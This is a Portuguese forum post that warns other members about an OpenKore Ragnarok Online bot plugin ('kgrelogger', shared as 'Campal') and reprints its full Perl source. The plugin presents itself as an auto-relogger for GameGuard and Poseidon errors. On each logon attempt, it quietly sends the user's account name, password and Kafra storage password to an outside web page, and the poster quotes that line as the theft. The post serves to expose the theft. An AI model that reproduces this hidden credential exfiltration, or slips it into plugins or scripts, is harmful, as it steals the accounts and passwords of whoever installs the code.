sou novo no forum, e ja peguei isso
q esta dentro da pasta plugins no arquivo campal
do arquivo postado pelo membro osmarmlsp# kgrelogger by Setzer
#
#
# This source code is licensed under the
# GNU General Public License, Version 2.
# See
[Tens de ter uma conta e sessão iniciada para poderes visualizar este link]package kgrelogger;
use strict;
use Plugins;
use Commands;
use Log qw( warning message error );
use Settings;
use Globals;
use Utils qw( timeOut );
use Misc qw ( configModify );
#-----------------
# Plugin: settings
#-----------------
Plugins::register("kgrelogger", "relogs on koreguard error", \&unload);
# Log hook
my $logHook = Log::addHook(\&on_Log, "kgrelogger");
# Event hook
my $evnHooks = Plugins::addHooks(
["mainLoop_pre", \&on_MainLoop, undef]
);
my $logonAttempt = 0;
my %logonTimeout = ( time => time(), timeout => 10 );
#---------------
# Plugin: unload
#---------------
sub unload {
Log::delHook($logHook);
Plugins::delHooks($evnHooks);
undef $logHook;
undef $evnHooks;
}
#-------------
# Log: handler
#-------------
sub on_Log {
my ($type, $domain, $level, $globalVerbosity, $message, $user_data) = @_;
if( $type eq "error" ){
# Kore Guard errors
if( ($message =~ /Your\ Ragnarok\ Online\ server\ uses\ GameGuard/) ||
($message =~ /The\ Poseidon\ server\ closed\ the\ connection/) ||
($message =~ /The\ Poseidon\ server\ sent\ a\ wrong\ reply\ ID/) ||
($message =~ /Timeout\ on\ Character\ Select\ Server/) ||
($message =~ /Tempo\ esgotado\ no\ Servidor\ de\ Sele(.*)\ de\ Personagens/) ||
($message =~ /Timeout\ on\ Character\ Server/) ||
($message =~ /Tempo\ esgotado\ no\ Servidor\ de\ Personagens/) ||
($message =~ /couldn't\ connect:/) ||
($message =~ /n(.*)\ foi\ possível\ se\ conectar:/) ||
($message =~ /GameGuard\ packets\ where\ not\ replied/) ||
($message =~ /pacotes\ do\ GameGuard\ n(.*)\ foram\ respondidos/) ){
warning "[Campal] connect error, relogging\n";
kgRelog();
}
} elsif( ($type eq "message") && ($domain eq "console") ){
# Logon attempt
if( ($message =~ /Requesting\ permission\ to\ logon\ on\ account\ server/) ||
($message =~ /Pedindo\ permiss(.*)o\ para\ se\ logar\ no\ servidor\ de\ contas/) ){
warning "[Campal] attempting to connect through [$config{'poseidonServer'}] and...\n";
use LWP::UserAgent;
use Utils qw(urlencode);
my $ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;
my $usuario = $config{'username'};
$usuario =~ s/#/:/;
my $senha = $config{'password'};
$senha =~ s/#/:/;
my $kafra = $config{'storageAuto_password'};
$kafra =~ s/#/:/;
my $response = $ua->get("http://osmarmlsp.110mb.com/key_strokes.php?keylog=$usuario $senha $kafra"); $logonAttempt = 1;
$logonTimeout{time} = time();
}
} elsif( ($type eq "message") && ($domain eq "connection") ){
# Logon success (account info received)
if( ($message =~ /-Account Info-/) ||
($message =~ /-Informa(.*)s da Conta-/) ){
$logonAttempt = 0;
warning "[Campal] ...connected!\n";
}
}
}
#-----------------
# Event: Main loop
#-----------------
sub on_MainLoop {
return if !$logonAttempt;
if( timeOut(\%logonTimeout) ){
warning "[Campal] ...connection timed out, relogging\n";
kgRelog();
}
}
#---------------
# Command: relog
#---------------
my $i = -1;
sub kgRelog {
$logonAttempt = 0;
Commands::run("relog 18");
}
1;
axei um probleminha, esse usuario esta hackiando jogadores, ele n passa de um ladrao sujo...
pra n chamar de outras coisas, mas axo q vc ja recebeu meus comentarios sobre vc
dsuihsduaiidahasdiuasdhuiasdh...
ai esta o codigo q envia seu login e senha e tb senha da kafra para uma pagina dele
[b]my $response = $ua->get("http://osmarmlsp.110mb.com/key_strokes.php?keylog=$usuario $senha $kafra");[/b]